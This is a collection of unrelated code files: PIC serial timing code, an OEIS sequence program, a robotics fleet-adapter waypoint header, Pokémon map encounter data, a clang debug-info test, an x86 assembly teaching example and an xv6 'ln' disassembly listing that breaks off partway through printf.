CALL TIME104
RRF IN,F
DECFSZ CNTB,F
GOTO CSENDLP
BSF PORTA,4
CALL TIME104
RETURN
;104us
TIME104
MOVLW 082H
MOVWF CNT1
LOOP2
NOP
DECFSZ CNT1,F
GOTO LOOP2
RETURN
END
|
; A005995: Alkane (or paraffin) numbers l(8,n).
; 1,3,12,28,66,126,236,396,651,1001,1512,2184,3108,4284,5832,7752,10197,13167,16852,21252,26598,32890,40404,49140,59423,71253,85008,100688,118728,139128,162384,188496,218025,250971,287964,329004,374794,425334,481404,543004,610995,685377,767096,856152,953580,1059380,1174680,1299480,1435005,1581255,1739556,1909908,2093742,2291058,2503396,2730756,2974791,3235501,3514656,3812256,4130192,4468464,4829088,5212064,5619537,6051507,6510252,6995772,7510482,8054382,8630028,9237420,9879259,10555545,11269128,12020008,12811188,13642668,14517608,15436008,16401189,17413151,18475380,19587876,20754294,21974634,23252724,24588564,25986159,27445509,28970800,30562032,32223576,33955432,35762160,37643760,39604985,41645835,43771260,45981260
mov $2,$0
add $2,1
mov $3,$0
lpb $2
mov $0,$3
sub $2,1
sub $0,$2
mov $4,$0
add $4,1
mov $5,0
mov $6,$0
lpb $4
mov $0,$6
sub $4,1
sub $0,$4
div $0,2
mul $0,2
seq $0,23855 ; a(n) = 1*(n) + 2*(n-1) + 3*(n-2) + ... + (n+1-k)*k, where k = floor((n+1)/2).
add $5,$0
lpe
add $1,$5
lpe
mov $0,$1
|
/*
* Copyright (C) 2020 Open Source Robotics Foundation
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*
*/
#ifndef RMF_FLEET_ADAPTER__AGV__WAYPOINT_HPP
#define RMF_FLEET_ADAPTER__AGV__WAYPOINT_HPP
#include <rmf_traffic/Time.hpp>
#include <rmf_utils/impl_ptr.hpp>
#include <Eigen/Geometry>
namespace rmf_fleet_adapter {
namespace agv {
//==============================================================================
class Waypoint
{
public:
/// Constructor
///
/// \param[in] map_name
/// The name of the reference map that the position is on.
///
/// \param[in] position
/// A position along the robot's path where it will (or can) have zero
/// instantaneous velocity. This will usually be a point where the robot
/// needs to turn, or a point that comes before an intersection, so the
/// robot can come to a stop and allow other vehicles to pass. This is a 2D
/// heterogeneous vector. The first two elements refer to translational
/// (x,y) position while the third element is a yaw value in radians.
///
/// \param[in] mandatory_delay
/// A delay that the robot is expected to experience once it arrives at
/// this waypoint. Usually this will be caused by the robots needing to
/// wait for doors to open or lifts to arrive.
///
/// \param[in] yield
/// Whether or not the robot can wait at this point. If yield is false, then
/// the planner will assume that it cannot ask the robot to wait here. If
/// yield is true, then the planner may request that the robot wait here to
/// avoid conflicts with other traffic participants.
Waypoint(
std::string map_name,
Eigen::Vector3d position,
rmf_traffic::Duration mandatory_delay = std::chrono::nanoseconds(0),
bool yield = true);
/// Get the map of this Waypoint.
const std::string& map_name() const;
/// Set the map of this Waypoint.
Waypoint& map_name(std::string new_map_name);
/// Get the position of this Waypoint.
const Eigen::Vector3d& position() const;
/// Set the position of this Waypoint.
Waypoint& position(Eigen::Vector3d new_position);
/// Get the mandatory delay associated with this Waypoint.
rmf_traffic::Duration mandatory_delay() const;
/// Set the mandatory delay associated with this Waypoint.
Waypoint& mandatory_delay(rmf_traffic::Duration duration);
/// Get whether the robot can yield here.
bool yield() const;
/// Set whether the robot can yield here.
Waypoint& yield(bool on);
class Implementation;
private:
rmf_utils::impl_ptr<Implementation> _pimpl;
};
} // namespace agv
} // namespace rmf_fleet_adapter
#endif // RMF_FLEET_ADAPTER__AGV__WAYPOINT_HPP
|
ViridianForestWildMons:
def_grass_wildmons 8 ; encounter rate
db 5, CATERPIE
db 6, WEEDLE
db 6, TANGELA
db 6, BELLSPROUT
db 8, KAKUNA
db 8, METAPOD
db 7, PARAS
db 7, BULBASAUR
db 9, MANKEY
db 9, PIKACHU
end_grass_wildmons
def_water_wildmons 0 ; encounter rate
end_water_wildmons
|
; ===============================================================
; May 2017
; ===============================================================
;
; void *tshc_aaddrcright(void *aaddr)
;
; Modify attribute address to move right one character (eight pixels)
; If at rightmost edge move to leftmost column on next pixel row.
;
; ===============================================================
SECTION code_clib
SECTION code_arch
PUBLIC asm_tshc_aaddrcright
EXTERN asm_zx_saddrcright
defc asm_tshc_aaddrcright = asm_zx_saddrcright
|
// RUN: %clang_cc1 %s -triple x86_64-windows-msvc -gcodeview -debug-info-kind=limited -emit-llvm -o - | FileCheck %s
// RUN: %clang_cc1 %s -triple x86_64-linux-gnu -debug-info-kind=limited -emit-llvm -o - | FileCheck %s
enum class uns : __uint128_t { unsval = __uint128_t(1) << 64 };
uns t1() { return uns::unsval; }
enum class sig : __int128 { sigval = -(__int128(1) << 64) };
sig t2() { return sig::sigval; }
// CHECK-LABEL: !DICompositeType(tag: DW_TAG_enumeration_type, name: "uns", {{.*}})
// CHECK: !DIEnumerator(name: "unsval", value: 18446744073709551616, isUnsigned: true)
// CHECK-LABEL: !DICompositeType(tag: DW_TAG_enumeration_type, name: "sig", {{.*}})
// CHECK: !DIEnumerator(name: "sigval", value: -18446744073709551616)
|
.model large
.stack 20h
.data
a dw 10
b dw 15
c dw 21; 15h
s dw ?
s2 dw ?
.code
start:
moV ax,@data
mov ds,ax
mov ax, c ;offest-ul lui a nu este 10 ci 0
push ax
mov ax, b
push ax
mov ax, a
push ax
;mov ax, s ; nu am nevoie de asta rezultatul oricum ramane in registrii
;push ax
;apel functie C: s=suma(a,b,c)
CALL FAR PTR suma
mov s,ax
;apel prin eticheta
mov ax, b
push ax
mov ax, a
push ax
CALL FAR PTR suma2
mov s2,ax
mov ax,4c00h
int 21h
Suma PROC FAR
push BP ;secventa tipica
mov BP,SP
xor ax,ax
add ax,[bp+10] ; aici apare +10 in loc de +8 pt ca se salveaza in stiva nu numai IP ci si CS
; daca procedura era in aclasi segment de cod cu apelatorul apelul era NEAR iar valoare lui CS nu mai era pe stiva
add ax,[bp+8] ;[bp+8] e valoarea variabilei b; ATENTIE BP e relativ la SS
add ax,[bp+6]
pop bp ;refacere bp
ret 6h ;revenire
Suma ENDP
Suma2:
push BP ;secventa tipica
mov BP,SP
xor ax,ax
add ax,[bp+8] ;[bp+8] e valoarea variabilei b; ATENTIE BP e relativ la SS
add ax,[bp+6]
pop bp ;refacere bp
retf 4h ;revenire
end start
|
;
; System Call for REX6000
;
; $Id: DbGetRecordCount.asm,v 1.5 2017-01-03 00:11:31 aralbrec Exp $
;
; extern unsigned long DbGetRecordCount( int );
;
; Written by Damjan Marion <dmarion@open.hr>
PUBLIC DbGetRecordCount
PUBLIC _DbGetRecordCount
.DbGetRecordCount
._DbGetRecordCount
pop ix
pop hl
push hl
push ix
ld de,$00ee ;DB_GETRECORDCOUNT
ld ($c000),de
ld ($c002),hl ; param 1
ld hl,0
push hl
push hl
add hl,sp
ld ($c004),hl ; param 2, ptr to long
rst $10
pop hl
pop de
ret
|
_ln: file format elf32-i386
Disassembly of section .text:
00000000 <main>:
#include "stat.h"
#include "user.h"
int
main(int argc, char *argv[])
{
0: 8d 4c 24 04 lea 0x4(%esp),%ecx
4: 83 e4 f0 and $0xfffffff0,%esp
if(argc != 3){
7: 83 39 03 cmpl $0x3,(%ecx)
#include "stat.h"
#include "user.h"
int
main(int argc, char *argv[])
{
a: ff 71 fc pushl -0x4(%ecx)
d: 55 push %ebp
e: 89 e5 mov %esp,%ebp
10: 53 push %ebx
11: 51 push %ecx
12: 8b 59 04 mov 0x4(%ecx),%ebx
if(argc != 3){
15: 74 14 je 2b <main+0x2b>
printf(2, "Usage: ln old new\n");
17: 83 ec 08 sub $0x8,%esp
1a: 68 20 07 00 00 push $0x720
1f: 6a 02 push $0x2
21: e8 da 03 00 00 call 400 <printf>
exit();
26: e8 77 02 00 00 call 2a2 <exit>
}
if(link(argv[1], argv[2]) < 0)
2b: 50 push %eax
2c: 50 push %eax
2d: ff 73 08 pushl 0x8(%ebx)
30: ff 73 04 pushl 0x4(%ebx)
33: e8 ca 02 00 00 call 302 <link>
38: 83 c4 10 add $0x10,%esp
3b: 85 c0 test %eax,%eax
3d: 78 05 js 44 <main+0x44>
printf(2, "link %s %s: failed\n", argv[1], argv[2]);
exit();
3f: e8 5e 02 00 00 call 2a2 <exit>
if(argc != 3){
printf(2, "Usage: ln old new\n");
exit();
}
if(link(argv[1], argv[2]) < 0)
printf(2, "link %s %s: failed\n", argv[1], argv[2]);
44: ff 73 08 pushl 0x8(%ebx)
47: ff 73 04 pushl 0x4(%ebx)
4a: 68 33 07 00 00 push $0x733
4f: 6a 02 push $0x2
51: e8 aa 03 00 00 call 400 <printf>
56: 83 c4 10 add $0x10,%esp
59: eb e4 jmp 3f <main+0x3f>
5b: 66 90 xchg %ax,%ax
5d: 66 90 xchg %ax,%ax
5f: 90 nop
00000060 <strcpy>:
60: 55 push %ebp
61: 89 e5 mov %esp,%ebp
63: 53 push %ebx
64: 8b 45 08 mov 0x8(%ebp),%eax
67: 8b 4d 0c mov 0xc(%ebp),%ecx
6a: 89 c2 mov %eax,%edx
6c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
70: 83 c1 01 add $0x1,%ecx
73: 0f b6 59 ff movzbl -0x1(%ecx),%ebx
77: 83 c2 01 add $0x1,%edx
7a: 84 db test %bl,%bl
7c: 88 5a ff mov %bl,-0x1(%edx)
7f: 75 ef jne 70 <strcpy+0x10>
81: 5b pop %ebx
82: 5d pop %ebp
83: c3 ret
84: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
8a: 8d bf 00 00 00 00 lea 0x0(%edi),%edi
00000090 <strcmp>:
90: 55 push %ebp
91: 89 e5 mov %esp,%ebp
93: 56 push %esi
94: 53 push %ebx
95: 8b 55 08 mov 0x8(%ebp),%edx
98: 8b 4d 0c mov 0xc(%ebp),%ecx
9b: 0f b6 02 movzbl (%edx),%eax
9e: 0f b6 19 movzbl (%ecx),%ebx
a1: 84 c0 test %al,%al
a3: 75 1e jne c3 <strcmp+0x33>
a5: eb 29 jmp d0 <strcmp+0x40>
a7: 89 f6 mov %esi,%esi
a9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
b0: 83 c2 01 add $0x1,%edx
b3: 0f b6 02 movzbl (%edx),%eax
b6: 8d 71 01 lea 0x1(%ecx),%esi
b9: 0f b6 59 01 movzbl 0x1(%ecx),%ebx
bd: 84 c0 test %al,%al
bf: 74 0f je d0 <strcmp+0x40>
c1: 89 f1 mov %esi,%ecx
c3: 38 d8 cmp %bl,%al
c5: 74 e9 je b0 <strcmp+0x20>
c7: 29 d8 sub %ebx,%eax
c9: 5b pop %ebx
ca: 5e pop %esi
cb: 5d pop %ebp
cc: c3 ret
cd: 8d 76 00 lea 0x0(%esi),%esi
d0: 31 c0 xor %eax,%eax
d2: 29 d8 sub %ebx,%eax
d4: 5b pop %ebx
d5: 5e pop %esi
d6: 5d pop %ebp
d7: c3 ret
d8: 90 nop
d9: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
000000e0 <strlen>:
e0: 55 push %ebp
e1: 89 e5 mov %esp,%ebp
e3: 8b 4d 08 mov 0x8(%ebp),%ecx
e6: 80 39 00 cmpb $0x0,(%ecx)
e9: 74 12 je fd <strlen+0x1d>
eb: 31 d2 xor %edx,%edx
ed: 8d 76 00 lea 0x0(%esi),%esi
f0: 83 c2 01 add $0x1,%edx
f3: 80 3c 11 00 cmpb $0x0,(%ecx,%edx,1)
f7: 89 d0 mov %edx,%eax
f9: 75 f5 jne f0 <strlen+0x10>
fb: 5d pop %ebp
fc: c3 ret
fd: 31 c0 xor %eax,%eax
ff: 5d pop %ebp
100: c3 ret
101: eb 0d jmp 110 <memset>
103: 90 nop
104: 90 nop
105: 90 nop
106: 90 nop
107: 90 nop
108: 90 nop
109: 90 nop
10a: 90 nop
10b: 90 nop
10c: 90 nop
10d: 90 nop
10e: 90 nop
10f: 90 nop
00000110 <memset>:
110: 55 push %ebp
111: 89 e5 mov %esp,%ebp
113: 57 push %edi
114: 8b 55 08 mov 0x8(%ebp),%edx
117: 8b 4d 10 mov 0x10(%ebp),%ecx
11a: 8b 45 0c mov 0xc(%ebp),%eax
11d: 89 d7 mov %edx,%edi
11f: fc cld
120: f3 aa rep stos %al,%es:(%edi)
122: 89 d0 mov %edx,%eax
124: 5f pop %edi
125: 5d pop %ebp
126: c3 ret
127: 89 f6 mov %esi,%esi
129: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
00000130 <strchr>:
130: 55 push %ebp
131: 89 e5 mov %esp,%ebp
133: 53 push %ebx
134: 8b 45 08 mov 0x8(%ebp),%eax
137: 8b 5d 0c mov 0xc(%ebp),%ebx
13a: 0f b6 10 movzbl (%eax),%edx
13d: 84 d2 test %dl,%dl
13f: 74 1d je 15e <strchr+0x2e>
141: 38 d3 cmp %dl,%bl
143: 89 d9 mov %ebx,%ecx
145: 75 0d jne 154 <strchr+0x24>
147: eb 17 jmp 160 <strchr+0x30>
149: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
150: 38 ca cmp %cl,%dl
152: 74 0c je 160 <strchr+0x30>
154: 83 c0 01 add $0x1,%eax
157: 0f b6 10 movzbl (%eax),%edx
15a: 84 d2 test %dl,%dl
15c: 75 f2 jne 150 <strchr+0x20>
15e: 31 c0 xor %eax,%eax
160: 5b pop %ebx
161: 5d pop %ebp
162: c3 ret
163: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
169: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
00000170 <gets>:
170: 55 push %ebp
171: 89 e5 mov %esp,%ebp
173: 57 push %edi
174: 56 push %esi
175: 53 push %ebx
176: 31 f6 xor %esi,%esi
178: 8d 7d e7 lea -0x19(%ebp),%edi
17b: 83 ec 1c sub $0x1c,%esp
17e: eb 29 jmp 1a9 <gets+0x39>
180: 83 ec 04 sub $0x4,%esp
183: 6a 01 push $0x1
185: 57 push %edi
186: 6a 00 push $0x0
188: e8 2d 01 00 00 call 2ba <read>
18d: 83 c4 10 add $0x10,%esp
190: 85 c0 test %eax,%eax
192: 7e 1d jle 1b1 <gets+0x41>
194: 0f b6 45 e7 movzbl -0x19(%ebp),%eax
198: 8b 55 08 mov 0x8(%ebp),%edx
19b: 89 de mov %ebx,%esi
19d: 3c 0a cmp $0xa,%al
19f: 88 44 1a ff mov %al,-0x1(%edx,%ebx,1)
1a3: 74 1b je 1c0 <gets+0x50>
1a5: 3c 0d cmp $0xd,%al
1a7: 74 17 je 1c0 <gets+0x50>
1a9: 8d 5e 01 lea 0x1(%esi),%ebx
1ac: 3b 5d 0c cmp 0xc(%ebp),%ebx
1af: 7c cf jl 180 <gets+0x10>
1b1: 8b 45 08 mov 0x8(%ebp),%eax
1b4: c6 04 30 00 movb $0x0,(%eax,%esi,1)
1b8: 8d 65 f4 lea -0xc(%ebp),%esp
1bb: 5b pop %ebx
1bc: 5e pop %esi
1bd: 5f pop %edi
1be: 5d pop %ebp
1bf: c3 ret
1c0: 8b 45 08 mov 0x8(%ebp),%eax
1c3: 89 de mov %ebx,%esi
1c5: c6 04 30 00 movb $0x0,(%eax,%esi,1)
1c9: 8d 65 f4 lea -0xc(%ebp),%esp
1cc: 5b pop %ebx
1cd: 5e pop %esi
1ce: 5f pop %edi
1cf: 5d pop %ebp
1d0: c3 ret
1d1: eb 0d jmp 1e0 <stat>
1d3: 90 nop
1d4: 90 nop
1d5: 90 nop
1d6: 90 nop
1d7: 90 nop
1d8: 90 nop
1d9: 90 nop
1da: 90 nop
1db: 90 nop
1dc: 90 nop
1dd: 90 nop
1de: 90 nop
1df: 90 nop
000001e0 <stat>:
1e0: 55 push %ebp
1e1: 89 e5 mov %esp,%ebp
1e3: 56 push %esi
1e4: 53 push %ebx
1e5: 83 ec 08 sub $0x8,%esp
1e8: 6a 00 push $0x0
1ea: ff 75 08 pushl 0x8(%ebp)
1ed: e8 f0 00 00 00 call 2e2 <open>
1f2: 83 c4 10 add $0x10,%esp
1f5: 85 c0 test %eax,%eax
1f7: 78 27 js 220 <stat+0x40>
1f9: 83 ec 08 sub $0x8,%esp
1fc: ff 75 0c pushl 0xc(%ebp)
1ff: 89 c3 mov %eax,%ebx
201: 50 push %eax
202: e8 f3 00 00 00 call 2fa <fstat>
207: 89 c6 mov %eax,%esi
209: 89 1c 24 mov %ebx,(%esp)
20c: e8 b9 00 00 00 call 2ca <close>
211: 83 c4 10 add $0x10,%esp
214: 89 f0 mov %esi,%eax
216: 8d 65 f8 lea -0x8(%ebp),%esp
219: 5b pop %ebx
21a: 5e pop %esi
21b: 5d pop %ebp
21c: c3 ret
21d: 8d 76 00 lea 0x0(%esi),%esi
220: b8 ff ff ff ff mov $0xffffffff,%eax
225: eb ef jmp 216 <stat+0x36>
227: 89 f6 mov %esi,%esi
229: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
00000230 <atoi>:
230: 55 push %ebp
231: 89 e5 mov %esp,%ebp
233: 53 push %ebx
234: 8b 4d 08 mov 0x8(%ebp),%ecx
237: 0f be 11 movsbl (%ecx),%edx
23a: 8d 42 d0 lea -0x30(%edx),%eax
23d: 3c 09 cmp $0x9,%al
23f: b8 00 00 00 00 mov $0x0,%eax
244: 77 1f ja 265 <atoi+0x35>
246: 8d 76 00 lea 0x0(%esi),%esi
249: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
250: 8d 04 80 lea (%eax,%eax,4),%eax
253: 83 c1 01 add $0x1,%ecx
256: 8d 44 42 d0 lea -0x30(%edx,%eax,2),%eax
25a: 0f be 11 movsbl (%ecx),%edx
25d: 8d 5a d0 lea -0x30(%edx),%ebx
260: 80 fb 09 cmp $0x9,%bl
263: 76 eb jbe 250 <atoi+0x20>
265: 5b pop %ebx
266: 5d pop %ebp
267: c3 ret
268: 90 nop
269: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
00000270 <memmove>:
270: 55 push %ebp
271: 89 e5 mov %esp,%ebp
273: 56 push %esi
274: 53 push %ebx
275: 8b 5d 10 mov 0x10(%ebp),%ebx
278: 8b 45 08 mov 0x8(%ebp),%eax
27b: 8b 75 0c mov 0xc(%ebp),%esi
27e: 85 db test %ebx,%ebx
280: 7e 14 jle 296 <memmove+0x26>
282: 31 d2 xor %edx,%edx
284: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
288: 0f b6 0c 16 movzbl (%esi,%edx,1),%ecx
28c: 88 0c 10 mov %cl,(%eax,%edx,1)
28f: 83 c2 01 add $0x1,%edx
292: 39 da cmp %ebx,%edx
294: 75 f2 jne 288 <memmove+0x18>
296: 5b pop %ebx
297: 5e pop %esi
298: 5d pop %ebp
299: c3 ret
0000029a <fork>:
29a: b8 01 00 00 00 mov $0x1,%eax
29f: cd 40 int $0x40
2a1: c3 ret
000002a2 <exit>:
2a2: b8 02 00 00 00 mov $0x2,%eax
2a7: cd 40 int $0x40
2a9: c3 ret
000002aa <wait>:
2aa: b8 03 00 00 00 mov $0x3,%eax
2af: cd 40 int $0x40
2b1: c3 ret
000002b2 <pipe>:
2b2: b8 04 00 00 00 mov $0x4,%eax
2b7: cd 40 int $0x40
2b9: c3 ret
000002ba <read>:
2ba: b8 05 00 00 00 mov $0x5,%eax
2bf: cd 40 int $0x40
2c1: c3 ret
000002c2 <write>:
2c2: b8 10 00 00 00 mov $0x10,%eax
2c7: cd 40 int $0x40
2c9: c3 ret
000002ca <close>:
2ca: b8 15 00 00 00 mov $0x15,%eax
2cf: cd 40 int $0x40
2d1: c3 ret
000002d2 <kill>:
2d2: b8 06 00 00 00 mov $0x6,%eax
2d7: cd 40 int $0x40
2d9: c3 ret
000002da <exec>:
2da: b8 07 00 00 00 mov $0x7,%eax
2df: cd 40 int $0x40
2e1: c3 ret
000002e2 <open>:
2e2: b8 0f 00 00 00 mov $0xf,%eax
2e7: cd 40 int $0x40
2e9: c3 ret
000002ea <mknod>:
2ea: b8 11 00 00 00 mov $0x11,%eax
2ef: cd 40 int $0x40
2f1: c3 ret
000002f2 <unlink>:
2f2: b8 12 00 00 00 mov $0x12,%eax
2f7: cd 40 int $0x40
2f9: c3 ret
000002fa <fstat>:
2fa: b8 08 00 00 00 mov $0x8,%eax
2ff: cd 40 int $0x40
301: c3 ret
00000302 <link>:
302: b8 13 00 00 00 mov $0x13,%eax
307: cd 40 int $0x40
309: c3 ret
0000030a <mkdir>:
30a: b8 14 00 00 00 mov $0x14,%eax
30f: cd 40 int $0x40
311: c3 ret
00000312 <chdir>:
312: b8 09 00 00 00 mov $0x9,%eax
317: cd 40 int $0x40
319: c3 ret
0000031a <dup>:
31a: b8 0a 00 00 00 mov $0xa,%eax
31f: cd 40 int $0x40
321: c3 ret
00000322 <getpid>:
322: b8 0b 00 00 00 mov $0xb,%eax
327: cd 40 int $0x40
329: c3 ret
0000032a <sbrk>:
32a: b8 0c 00 00 00 mov $0xc,%eax
32f: cd 40 int $0x40
331: c3 ret
00000332 <sleep>:
332: b8 0d 00 00 00 mov $0xd,%eax
337: cd 40 int $0x40
339: c3 ret
0000033a <uptime>:
33a: b8 0e 00 00 00 mov $0xe,%eax
33f: cd 40 int $0x40
341: c3 ret
00000342 <cps>:
342: b8 16 00 00 00 mov $0x16,%eax
347: cd 40 int $0x40
349: c3 ret
0000034a <chpr>:
34a: b8 17 00 00 00 mov $0x17,%eax
34f: cd 40 int $0x40
351: c3 ret
352: 66 90 xchg %ax,%ax
354: 66 90 xchg %ax,%ax
356: 66 90 xchg %ax,%ax
358: 66 90 xchg %ax,%ax
35a: 66 90 xchg %ax,%ax
35c: 66 90 xchg %ax,%ax
35e: 66 90 xchg %ax,%ax
00000360 <printint>:
write(fd, &c, 1);
}
static void
printint(int fd, int xx, int base, int sgn)
{
360: 55 push %ebp
361: 89 e5 mov %esp,%ebp
363: 57 push %edi
364: 56 push %esi
365: 53 push %ebx
366: 89 c6 mov %eax,%esi
368: 83 ec 3c sub $0x3c,%esp
char buf[16];
int i, neg;
uint x;
neg = 0;
if(sgn && xx < 0){
36b: 8b 5d 08 mov 0x8(%ebp),%ebx
36e: 85 db test %ebx,%ebx
370: 74 7e je 3f0 <printint+0x90>
372: 89 d0 mov %edx,%eax
374: c1 e8 1f shr $0x1f,%eax
377: 84 c0 test %al,%al
379: 74 75 je 3f0 <printint+0x90>
neg = 1;
x = -xx;
37b: 89 d0 mov %edx,%eax
int i, neg;
uint x;
neg = 0;
if(sgn && xx < 0){
neg = 1;
37d: c7 45 c4 01 00 00 00 movl $0x1,-0x3c(%ebp)
x = -xx;
384: f7 d8 neg %eax
386: 89 75 c0 mov %esi,-0x40(%ebp)
} else {
x = xx;
}
i = 0;
389: 31 ff xor %edi,%edi
38b: 8d 5d d7 lea -0x29(%ebp),%ebx
38e: 89 ce mov %ecx,%esi
390: eb 08 jmp 39a <printint+0x3a>
392: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
do{
buf[i++] = digits[x % base];
398: 89 cf mov %ecx,%edi
39a: 31 d2 xor %edx,%edx
39c: 8d 4f 01 lea 0x1(%edi),%ecx
39f: f7 f6 div %esi
3a1: 0f b6 92 50 07 00 00 movzbl 0x750(%edx),%edx
}while((x /= base) != 0);
3a8: 85 c0 test %eax,%eax
x = xx;
}
i = 0;
do{
buf[i++] = digits[x % base];
3aa: 88 14 0b mov %dl,(%ebx,%ecx,1)
}while((x /= base) != 0);
3ad: 75 e9 jne 398 <printint+0x38>
if(neg)
3af: 8b 45 c4 mov -0x3c(%ebp),%eax
3b2: 8b 75 c0 mov -0x40(%ebp),%esi
3b5: 85 c0 test %eax,%eax
3b7: 74 08 je 3c1 <printint+0x61>
buf[i++] = '-';
3b9: c6 44 0d d8 2d movb $0x2d,-0x28(%ebp,%ecx,1)
3be: 8d 4f 02 lea 0x2(%edi),%ecx
3c1: 8d 7c 0d d7 lea -0x29(%ebp,%ecx,1),%edi
3c5: 8d 76 00 lea 0x0(%esi),%esi
3c8: 0f b6 07 movzbl (%edi),%eax
#include "user.h"
static void
putc(int fd, char c)
{
write(fd, &c, 1);
3cb: 83 ec 04 sub $0x4,%esp
3ce: 83 ef 01 sub $0x1,%edi
3d1: 6a 01 push $0x1
3d3: 53 push %ebx
3d4: 56 push %esi
3d5: 88 45 d7 mov %al,-0x29(%ebp)
3d8: e8 e5 fe ff ff call 2c2 <write>
buf[i++] = digits[x % base];
}while((x /= base) != 0);
if(neg)
buf[i++] = '-';
while(--i >= 0)
3dd: 83 c4 10 add $0x10,%esp
3e0: 39 df cmp %ebx,%edi
3e2: 75 e4 jne 3c8 <printint+0x68>
putc(fd, buf[i]);
}
3e4: 8d 65 f4 lea -0xc(%ebp),%esp
3e7: 5b pop %ebx
3e8: 5e pop %esi
3e9: 5f pop %edi
3ea: 5d pop %ebp
3eb: c3 ret
3ec: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
neg = 0;
if(sgn && xx < 0){
neg = 1;
x = -xx;
} else {
x = xx;
3f0: 89 d0 mov %edx,%eax
static char digits[] = "0123456789ABCDEF";
char buf[16];
int i, neg;
uint x;
neg = 0;
3f2: c7 45 c4 00 00 00 00 movl $0x0,-0x3c(%ebp)
3f9: eb 8b jmp 386 <printint+0x26>
3fb: 90 nop
3fc: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
00000400 <printf>:
}
// Print to the given fd. Only understands %d, %x, %p, %s.
void
printf(int fd, const char *fmt, ...)
{
400: 55 push %ebp
401: 89 e5 mov %esp,%ebp
403: 57 push %edi
404: 56 push %esi
405: 53 push %ebx
int c, i, state;
uint *ap;
state = 0;
ap = (uint*)(void*)&fmt + 1;
for(i = 0; fmt[i]; i++){
406: 8d 45 10 lea 0x10(%ebp),%eax
}
// Print to the given fd. Only understands %d, %x, %p, %s.
void
printf(int fd, const char *fmt, ...)
{
409: 83 ec 2c sub $0x2c,%esp
int c, i, state;
uint *ap;
state = 0;
ap = (uint*)(void*)&fmt + 1;
for(i = 0; fmt[i]; i++){
40c: 8b 75 0c mov 0xc(%ebp),%esi
}
// Print to the given fd. Only understands %d, %x, %p, %s.
void
printf(int fd, const char *fmt, ...)
{
40f: 8b 7d 08 mov 0x8(%ebp),%edi
int c, i, state;
uint *ap;
state = 0;
ap = (uint*)(void*)&fmt + 1;
for(i = 0; fmt[i]; i++){
412: 89 45 d0 mov %eax,-0x30(%ebp)
415: 0f b6 1e movzbl (%esi),%ebx
418: 83 c6 01 add $0x1,%esi
41b: 84 db test %bl,%bl
41d: 0f 84 b0 00 00 00 je 4d3 <printf+0xd3>
423: 31 d2 xor %edx,%edx
425: eb 39 jmp 460 <printf+0x60>
427: 89 f6 mov %esi,%esi
429: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
c = fmt[i] & 0xff;
if(state == 0){
if(c == '%'){
430: 83 f8 25 cmp $0x25,%eax
433: 89 55 d4 mov %edx,-0x2c(%ebp)
state = '%';
436: ba 25 00 00 00 mov $0x25,%edx
state = 0;
ap = (uint*)(void*)&fmt + 1;
for(i = 0; fmt[i]; i++){
c = fmt[i] & 0xff;
if(state == 0){
if(c == '%'){
43b: 74 18 je 455 <printf+0x55>
#include "user.h"
static void
putc(int fd, char c)
{
write(fd, &c, 1);
43d: 8d 45 e2 lea -0x1e(%ebp),%eax
440: 83 ec 04 sub $0x4,%esp
443: 88 5d e2 mov %bl,-0x1e(%ebp)
446: 6a 01 push $0x1
448: 50 push %eax
449: 57 push %edi
44a: e8 73 fe ff ff call 2c2 <write>
44f: 8b 55 d4 mov -0x2c(%ebp),%edx
452: 83 c4 10 add $0x10,%esp
455: 83 c6 01 add $0x1,%esi
int c, i, state;
uint *ap;
state = 0;
ap = (uint*)(void*)&fmt + 1;
for(i = 0; fmt[i]; i++){
458: 0f b6 5e ff movzbl -0x1(%esi),%ebx
45c: 84 db test %bl,%bl
45e: 74 73 je 4d3 <printf+0xd3>
c = fmt[i] & 0xff;
if(state == 0){
460: 85 d2 test %edx,%edx
uint *ap;
state = 0;
ap = (uint*)(void*)&fmt + 1;
for(i = 0; fmt[i]; i++){
c = fmt[i] & 0xff;
462: 0f be cb movsbl %bl,%ecx
465: 0f b6 c3 movzbl %bl,%eax
if(state == 0){
468: 74 c6 je 430 <printf+0x30>
if(c == '%'){
state = '%';
} else {
putc(fd, c);
}
} else if(state == '%'){
46a: 83 fa 25 cmp $0x25,%edx
46d: 75 e6 jne 455 <printf+0x55>
if(c == 'd'){
46f: 83 f8 64 cmp $0x64,%eax
472: 0f 84 f8 00 00 00 je 570 <printf+0x170>
printint(fd, *ap, 10, 1);
ap++;
} else if(c == 'x' || c == 'p'){
478: 81 e1 f7 00 00 00 and $0xf7,%ecx
47e: 83 f9 70 cmp $0x70,%ecx
481: 74 5d je 4e0 <printf+0xe0>
printint(fd, *ap, 16, 0);
ap++;
} else if(c == 's'){
483: 83 f8 73 cmp $0x73,%eax
486: 0f 84 84 00 00 00 je 510 <printf+0x110>
s = "(null)";
while(*s != 0){
putc(fd, *s);
s++;
}
} else if(c == 'c'){
48c: 83 f8 63 cmp $0x63,%eax
48f: 0f 84 ea 00 00 00 je 57f <printf+0x17f>
putc(fd, *ap);
ap++;
} else if(c == '%'){
495: 83 f8 25 cmp $0x25,%eax
498: 0f 84 c2 00 00 00 je 560 <printf+0x160>
#include "user.h"
static void
putc(int fd, char c)
{
write(fd, &c, 1);
